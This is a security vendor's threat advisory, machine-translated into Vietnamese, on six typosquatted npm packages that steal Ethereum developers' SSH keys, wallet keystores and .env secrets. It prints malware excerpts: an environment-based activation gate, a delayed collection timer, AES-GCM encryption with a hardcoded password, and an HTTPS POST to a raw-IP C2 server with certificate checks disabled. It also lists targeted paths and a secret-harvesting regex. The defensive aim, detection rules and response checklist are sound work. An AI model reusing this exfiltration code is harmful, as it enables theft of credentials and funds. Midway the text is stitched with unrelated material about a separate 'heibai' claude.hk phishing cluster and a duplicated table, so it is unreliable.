EVMDeFi npm Typosquatting Attack Steals Developer Keys

EVM/DeFi npm Typosquatting Attack Steals Developer Keys

TL; DR

Vào ngày 6 tháng 5 năm 2026, một nhà xuất bản npm duy nhất, namikazesarada010206Đã phát tán sáu gói phần mềm độc hại nhắm vào hệ sinh thái phát triển Ethereum, Solidity và DeFi.

Các gói hàng, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsweb3-utils-core, sử dụng những cái tên nghe có vẻ hợp lý, được thiết kế để trông giống như các thư viện hỗ trợ cho các công cụ Web3 phổ biến.

Cả sáu gói hàng đều chứa cùng một thứ. telemetry.js tập tin. Tập tin này giống hệt nhau về mặt byte trên toàn bộ cụm máy chủ, với mã SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Phần mềm độc hại không được thực thi trong quá trình cài đặt. Không có preinstall or postinstall Thay vào đó, nó được kích hoạt khi gói được nhập thông qua hook. require().

Chi tiết đó rất quan trọng.

Phần mềm cấy ghép sẽ chờ đến khi nhà phát triển thực sự sử dụng gói phần mềm. Sau đó, nó kiểm tra xem máy trạm có giống với môi trường phát triển Ethereum/Solidity thực sự hay không. Nó tìm kiếm các khóa Alchemy hoặc Infura, khóa riêng tư, cụm từ ghi nhớ, khóa triển khai hoặc thư mục Foundry cục bộ.

Nếu máy chủ trùng khớp, phần mềm đánh cắp sẽ thu thập các khóa riêng SSH, kho khóa ví Foundry/Geth/Brownie. .env* Các tập tin và các biến môi trường nhạy cảm. Nó mã hóa gói dữ liệu bằng AES-256-GCM sử dụng mật khẩu được mã hóa cứng và chuyển nó đến điểm cuối C2 IPv4 thô với xác thực TLS bị vô hiệu hóa.

Hệ thống Cảnh báo sớm phần mềm độc hại (MEW) của Xygeni đã xác nhận cả sáu gói đều là độc hại. Báo cáo gỡ bỏ gói phần mềm từ kho lưu trữ npm đang chờ xử lý.

Cụm sản phẩm: Sáu gói phần mềm, một nhà xuất bản

Tài khoản nhà xuất bản namikazesarada010206 được liên kết với địa chỉ Gmail chưa được xác minh. namikazesarada010206@gmail.com.

Chiến dịch này xuất hiện dưới dạng một đợt phát hành duy nhất trong một ngày vào ngày 6 tháng 5 năm 2026. Tất cả sáu gói sản phẩm đều được đánh số phiên bản như sau: 1.0.0, không có bất kỳ phụ thuộc nào trong quá trình chạy và chỉ cung cấp ba tệp:

package.json index.js telemetry.js

Họ cũng công bố cùng một kho lưu trữ mã nguồn:

https://github.com/harunosakura030303-maker/evmchain-config

Ba gói đầu tiên đã bị trình quét MEW phát hiện ngay khi xuất bản lần đầu. Ba gói còn lại bị gắn cờ bắt buộc sau khi nhà phân tích xem xét hồ sơ npm của nhà xuất bản. Khi cùng một byte giống hệt nhau... telemetry.js Các sự cố này đã được xác nhận trên toàn cụm máy chủ và chúng đã được đóng lại vì được coi là độc hại dựa trên tính nhất quán.

Bưu kiện phiên bản npm Đã xuất bản Vé MEW Phán quyết
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Độc hại
viem-utils-core 1.0.0 2026-05-06 #51050 Độc hại
tiện ích lõi cứng 1.0.0 2026-05-06 #51051 Độc hại
evm-utils 1.0.0 2026-05-06 #51069 Ác ý, do tính nhất quán
công cụ xưởng đúc 1.0.0 2026-05-06 #51071 Ác ý, do tính nhất quán
web3-utils-core 1.0.0 2026-05-06 #51070 Ác ý, do tính nhất quán

Chiến lược đặt tên này đơn giản nhưng hiệu quả.

Các gói này không giả mạo chính xác tên nguồn gốc. Thay vào đó, chúng sử dụng các hậu tố "tiện ích" hợp lý như... -core, -utils-utils-coreĐiều đó khiến chúng trông giống như các thư viện bổ trợ mà nhà phát triển có thể mong đợi thấy bên cạnh các công cụ Web3.

Gói hàng độc hại Mục tiêu hợp pháp
viem-core viem, một thư viện TypeScript phổ biến cho Ethereum.
viem-utils-core viem
tiện ích lõi cứng hardhat, một môi trường phát triển Solidity phổ biến.
evm-utils Không gian tên công cụ EVM chung
công cụ xưởng đúc foundry, một chuỗi công cụ Solidity
web3-utils-core web3-utils, các công cụ hỗ trợ Web3.js

Đây là kiểu mẫu "gói bổ sung": không phải "Tôi là gói chính", mà là "Tôi trông giống như một người trợ giúp hợp lý xung quanh gói chính".

Đối với các nhà phát triển DeFi đang hoạt động nhanh chóng, điều đó đủ để tạo ra rủi ro.

Điều gì xảy ra khi gói hàng được nhập khẩu?

Chuỗi tấn công này nhỏ, được thực hiện có chủ đích và tập trung vào môi trường phát triển mật mã.

Không có móc cài đặt. Thay vào đó, mỗi gói bao gồm một index.js Nó xuất ra chức năng giả lập rồi tải mô-đun đo lường từ xa độc hại.

require('./telemetry').init();

Điều này có nghĩa là phần mềm độc hại sẽ được kích hoạt ngay khi nhập dữ liệu lần đầu.

Điều đó có lợi về mặt vận hành cho kẻ tấn công. Nhiều công cụ quét và hộp cát tập trung vào hành vi trong quá trình cài đặt. Gói này chờ đến khi nó thực sự được sử dụng bởi nhà phát triển, tập lệnh xây dựng, bộ kiểm thử hoặc đường dẫn thời gian chạy.

Cổng kích hoạt: Chỉ kích hoạt trên các máy trạm phát triển Web3 thực sự

Phần quan trọng nhất của thiết bị cấy ghép là cổng kích hoạt.

Phần mềm độc hại kiểm tra các biến môi trường thường thấy trên máy tính của nhà phát triển Ethereum/Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Nó cũng kiểm tra xem Foundry có được cài đặt hay không:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Nếu cả hai điều kiện đều không đúng, hàm sẽ trả về và không làm gì cả.

Điều đó giúp gói phần mềm hoạt động êm hơn trong các môi trường phân tích thông thường. Một môi trường thử nghiệm (sandbox) không có Foundry, khóa Alchemy, khóa Infura, khóa riêng tư hoặc cụm từ ghi nhớ có thể thấy một gói nhập khẩu trông có vẻ vô hại.

Trên máy chủ phù hợp, phần mềm độc hại chờ từ 60 đến 90 giây trước khi thu thập dữ liệu:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Sự chậm trễ làm giảm mối tương quan rõ ràng giữa nhập khẩu và xuất khẩu. .unref() Lệnh này cũng cho phép tiến trình máy chủ thoát bình thường nếu gói được nhập trong một tập lệnh có thời gian chạy ngắn.

Đây không phải là hành vi cướp giật ồn ào. Đây là một hành vi đánh cắp có chủ đích, được thiết kế để tránh hoạt động trừ khi môi trường phát triển có giá trị đáng để đánh cắp.

Những thứ mà tên trộm thu thập được

Sau khi vượt qua bước kích hoạt, phần mềm độc hại sẽ thu thập thông tin từ các nguồn quan trọng nhất trong quá trình phát triển Web3: khóa riêng tư, kho khóa ví, thông tin xác thực triển khai, bí mật đám mây, mã thông báo npm và cấu hình dự án cục bộ.

nguồn Những gì được thu thập
quy trình.env Bất kỳ biến nào khớp với /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Các tập tin chứa PRIVATE KEY hoặc BEGIN OPENSSH, bao gồm toàn bộ nội dung tập tin.
~/.foundry/keystores/* Tệp kho khóa ví Foundry
~/.ethereum/keystore/* Tệp kho khóa ví Geth
~/.brownie/accounts/* Tệp kho khóa ví Brownie
${cwd}/.env Nội dung đầy đủ của tệp
${cwd}/.env.local Nội dung đầy đủ của tệp
${cwd}/.env.production Nội dung đầy đủ của tệp
${cwd}/.env.development Nội dung đầy đủ của tệp
os.hostname() Siêu dữ liệu máy chủ
crypto.randomUUID () Mã định danh nạn nhân/phiên
Date.now () Dấu thời gian thu thập
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Các token ATTA là:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Chúng tôi chưa thể xác nhận liệu dữ liệu đo từ xa đó là dữ liệu phân tích của chính nhà mạng hay là một kênh kiếm tiền riêng biệt. Mã thông báo ATTA giống nhau trong cả hai mẫu mà chúng tôi đã kiểm tra.

Cụm B: heibai

claude.hk Lừa đảo xác thực OAuth + Chiếm đoạt URL ANTHROPIC_BASE_URL

Mẫu thu thập ngày 1 tháng 4 là mẫu thô hơn, được lấy sớm hơn trong chiến dịch này.

heibai:2.1.88-claude.hk-4 được xuất bản bởi wuguoqiangvip28, một tài khoản được tạo vào ngày 7 tháng 6 năm 2025. Gói phần mềm này đã tự đánh số phiên bản dựa trên phiên bản hợp lệ. 2.1.88 Sự giải phóng do con người gây ra.

Nó không bận tâm đến tấn công MITM bằng chứng chỉ CA. Thay vào đó, nó đánh lừa người dùng về điểm cuối OAuth.

Các nội dung độc hại được thêm vào mã nguồn Claude Code bị rò rỉ bao gồm:

nguồn Những gì được thu thập
quy trình.env Bất kỳ biến nào khớp với /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Các tập tin chứa PRIVATE KEY hoặc BEGIN OPENSSH, bao gồm toàn bộ nội dung tập tin.
~/.foundry/keystores/* Tệp kho khóa ví Foundry
~/.ethereum/keystore/* Tệp kho khóa ví Geth
~/.brownie/accounts/* Tệp kho khóa ví Brownie
${cwd}/.env Nội dung đầy đủ của tệp
${cwd}/.env.local Nội dung đầy đủ của tệp
${cwd}/.env.production Nội dung đầy đủ của tệp
${cwd}/.env.development Nội dung đầy đủ của tệp
os.hostname() Siêu dữ liệu máy chủ
crypto.randomUUID () Mã định danh nạn nhân/phiên
Date.now () Dấu thời gian thu thập

Danh sách mục tiêu rất cụ thể. Đây không phải là hành vi đánh cắp trình duyệt chung chung hay thu thập thông tin đăng nhập tràn lan. Nó nhắm vào các nhà phát triển xây dựng, kiểm thử, triển khai hoặc vận hành các ứng dụng Ethereum.

Việc bao gồm các kho khóa Foundry, Geth và Brownie là đặc biệt quan trọng. Các tệp này có thể đại diện cho quyền truy cập trực tiếp vào ví hoặc danh tính triển khai. Nếu kẻ tấn công có thể ghép chúng với mật khẩu, cụm từ ghi nhớ hoặc bí mật môi trường, chúng có thể chuyển tiền, mạo danh người triển khai hoặc xâm phạm hoạt động của hợp đồng thông minh.

Mã hóa trước khi trích xuất dữ liệu

Phần mềm độc hại mã hóa dữ liệu đã thu thập trước khi gửi đi.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Mật khẩu được mã hóa cứng là:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Dữ liệu cuối cùng được đóng gói dưới dạng JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Mã hóa tự nó không làm cho phần mềm độc hại trở nên tinh vi hơn. Tuy nhiên, nó làm cho việc kiểm tra mạng trở nên khó khăn hơn. Người phòng thủ theo dõi lưu lượng truy cập ra ngoài sẽ thấy dữ liệu JSON, nhưng không thấy các khóa bị đánh cắp, tệp ví điện tử, hoặc các tệp khác. .env Nội dung không bao gồm mật khẩu cố định và logic giải mã.

Rò rỉ dữ liệu đến máy chủ C2 IPv4 thô.

Đường dẫn thoát dữ liệu được mã hóa cứng:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Phần mềm độc hại gửi dữ liệu đến:

https://76.13.37.80:8443/api/v1/telemetry

Có hai chi tiết nổi bật.

Thứ nhất, C2 là một địa chỉ IPv4 thô chứ không phải là một tên miền. Điều này loại bỏ nhu cầu đăng ký tên miền và tránh được một số phát hiện dựa trên tên miền.

Thứ hai, quá trình xác thực TLS bị vô hiệu hóa với:

rejectUnauthorized: false

Điều đó cho phép phần mềm độc hại chấp nhận bất kỳ chứng chỉ nào, bao gồm cả chứng chỉ tự ký. Nói cách khác, kẻ tấn công có được đường truyền mã hóa mà không cần chứng chỉ công khai hợp lệ.

Không có logic thử lại và không có máy chủ dự phòng. Các lỗi được bỏ qua một cách âm thầm. Điều này giúp gói tin hoạt động bình thường nếu máy chủ C2 ngoại tuyến hoặc không thể truy cập được.

Tại sao chiến dịch này quan trọng

Hầu hết các gói npm độc hại nhắm vào nhà phát triển đều nhắm mục tiêu vào các chứng chỉ xác thực phổ biến: mã thông báo npm, khóa AWS, mã thông báo GitHub, hoặc .npmrc các tập tin.

Chiến dịch này thu hẹp đối tượng mục tiêu.

Nó tìm kiếm các dấu hiệu cho thấy máy đó thuộc về một nhà phát triển Ethereum hoặc Solidity. Sau đó, nó sẽ lấy chính xác các tài sản quan trọng trong môi trường đó: kho khóa ví, khóa riêng tư, cụm từ ghi nhớ, khóa triển khai, v.v. .env các tập tin và khóa SSH.

Điều đó khiến chiến dịch này nguy hiểm hơn đối với các nhóm Web3 so với một kẻ đánh cắp npm thông thường.

Một ca nhiễm trùng thành công có thể bộc lộ:

  • Ví triển khai
  • khóa quản trị hợp đồng thông minh
  • khóa nhà cung cấp RPC
  • Thông tin xác thực triển khai đám mây
  • npm xuất bản token
  • Truy cập SSH vào cơ sở hạ tầng phát triển hoặc xây dựng.
  • Các bí mật dự án được lưu trữ trong .env các tập tin
  • Kho lưu trữ khóa ví cho Foundry, Geth hoặc Brownie.

Tên các gói phần mềm cũng cho thấy rõ ràng kỹ thuật thao túng tâm lý. Chúng nhắm mục tiêu vào hệ sinh thái nhà phát triển Web3 thông qua các tên công cụ quen thuộc: viem, hardhat, foundry, evmweb3.

Diễn viên không cần phải thỏa hiệp với các dự án thực tế. Họ chỉ cần một nhà phát triển cài đặt một gói phần mềm bổ trợ có vẻ hợp lý.

Các dấu hiệu của sự xâm phạm và phát hiện

Gói phần mềm và nhà xuất bản
Phần Giá trị
npm publisher namikazesarada010206
Email của nhà xuất bản namikazesarada010206@gmail.com
email đã kích hoạt Không
SCM xác minh Không
Điểm danh tiếng 1.0
Gói viem-core, viem-utils-core, hardhat-core-utils, evm-utils, Foundry-utils, web3-utils-core
Các phiên bản Tất cả 1.0.0
Kho lưu trữ nguồn https://github.com/harunosakura030303-maker/evmchain-config
Đã xác nhận là độc hại Tất cả sáu gói
mạng
Kiểu Giá trị
Điểm cuối C2 https://76.13.37.80:8443/api/v1/telemetry
IP C2 76.13.37.80
Cổng C2 8443 / tcp
Hành vi TLS rejectUnauthorized: false
Sơ đồ tải trọng {"v":2,"iv": "d": "t": }
Tệp và mã băm
Kiểu Giá trị
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Bố cục gói package.json, index.js, telemetry.js
Số lượng tập tin 3
Kích thước tổng thể ước tính 3.4 KB

Tín hiệu kích hoạt

Phần mềm độc hại kiểm tra các biến môi trường sau:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Nó cũng kiểm tra:

~/.foundry/

Đường dẫn máy chủ mục tiêu

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Biểu thức chính quy thu thập

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Ghi chú phát hiện

Một số quy tắc có thể áp dụng cho chiến dịch này mà không cần phân tích hành vi đầy đủ.

Đầu tiên, hãy quét các tập tin khóa để tìm sáu tên gói phần mềm độc hại:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Bất kỳ trận đấu nào trong package-lock.json, yarn.lock, pnpm-lock.yaml, hoặc là node_modules Lịch sử cần được xem như một sự kiện nghiêm trọng.

Thứ hai, theo dõi các tiến trình Node.js đọc đường dẫn kho khóa ví:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Đây hiếm khi là hành vi hợp lệ đối với một gói được nhập khẩu như một phụ thuộc hỗ trợ. Điều này đặc biệt đáng ngờ khi theo sau đó là hoạt động mạng hướng ra ngoài.

Thứ ba, chặn hoặc cảnh báo trên các kết nối HTTPS tới:

76.13.37.80:8443

Đặc biệt khi đường dẫn yêu cầu là:

/api/v1/telemetry

Thứ tư, hãy tìm kiếm các gói npm kết hợp những đặc điểm này:

  • Nhà xuất bản mới hoặc có danh tiếng thấp
  • Tài khoản Gmail chưa được xác minh
  • Tên gói liền kề Web3
  • Không có lịch sử kho lưu trữ có ý nghĩa
  • Bố cục gói nhỏ
  • index.js tải tệp đo từ xa hoặc tệp hỗ trợ
  • Không có phụ thuộc thời gian chạy
  • Thu thập biến môi trường nhạy cảm
  • Truy cập kho khóa ví

Mô hình này hữu ích hơn một chỉ báo xâm nhập (IOC) đơn lẻ vì gói tin tiếp theo có thể thay đổi địa chỉ IP nhưng vẫn giữ nguyên logic nhắm mục tiêu.

Danh sách kiểm tra phản ứng thỏa hiệp

Nếu một nhà phát triển sử dụng một trong sáu gói phần mềm và môi trường của họ khớp với cổng kích hoạt, hãy coi máy trạm đó là đã bị xâm nhập.

Điều đó bao gồm các máy có cài đặt Foundry, khóa Alchemy hoặc Infura trong môi trường, khóa riêng tư, cụm từ ghi nhớ hoặc khóa triển khai.

Câu trả lời được đề xuất:

  • Ngắt kết nối máy chủ khỏi mạng.
  • Bảo quản node_modulesCác tập tin khóa, lịch sử lệnh shell và nhật ký liên quan phục vụ cho việc điều tra pháp y.
  • Xoay vòng mọi cặp khóa SSH dưới ~/.ssh/.
  • Xoay vòng các khóa ví cho mỗi kho khóa bên dưới ~/.foundry, ~/.ethereum~/.brownie.
  • Chuyển tiền sang ví mới.
  • Xoay vòng mọi bí mật được lưu trữ trong .env* các tệp trong kho lưu trữ mà nhà phát triển đã làm việc.
  • Xoay vòng các thông tin bí mật môi trường khớp với biểu thức chính quy của bộ sưu tập, bao gồm khóa AWS, mã thông báo npm, mã thông báo triển khai, khóa API, khóa riêng tư, seed và mnemonics.
  • Kiểm tra nhật ký hoạt động của cloud, npm, GitHub, nhà cung cấp RPC và blockchain kể từ khi gói phần mềm được cài đặt lần đầu.
  • Cài đặt lại hệ điều hành cho máy trạm trước khi sử dụng lại.

Những điều mà các hậu vệ nên ghi nhớ

Chiến dịch này cho thấy cách thức chiếm đoạt mã nguồn npm đang phát triển xung quanh các hệ sinh thái nhà phát triển có giá trị cao.

Diễn viên không cần sự kiên trì. Họ không cần che giấu mã nguồn. Họ thậm chí không cần thực thi trong quá trình cài đặt.

Thay vào đó, họ dựa vào ba điều:

  • Tên gói Web3 khả thi
  • Chỉ kích hoạt trên các máy phát triển tiền điện tử thực sự.
  • Hành vi đánh cắp trực tiếp các tập tin và bí mật quan trọng nhất đối với các nhà phát triển Ethereum.

Điều đó khiến chiến dịch dễ bị bỏ sót khi chỉ cần quét qua loa và trở nên nguy hiểm khi nó xuất hiện trong môi trường phù hợp.

Đối với các nhóm phát triển Web3, bài học rất rõ ràng: hãy coi tên các gói phụ thuộc như một phần của mô hình phân tích mối đe dọa. Một gói trông có vẻ vô hại vẫn có thể trở thành con đường ngắn nhất dẫn đến việc bị xâm phạm ví điện tử.

Đã báo cáo lên kho lưu trữ npm. Chúng tôi sẽ cập nhật bài đăng này khi tài khoản nhà xuất bản và các gói được gỡ bỏ.

sca-tools-software-composition-analysis-tools
Ưu tiên, khắc phục và bảo mật các rủi ro phần mềm của bạn
Đăng ký tài khoản miễn phí ngay.
Không cần thẻ tín dụng.

Bảo mật quá trình phát triển và phân phối phần mềm của bạn.

với bộ sản phẩm Xygeni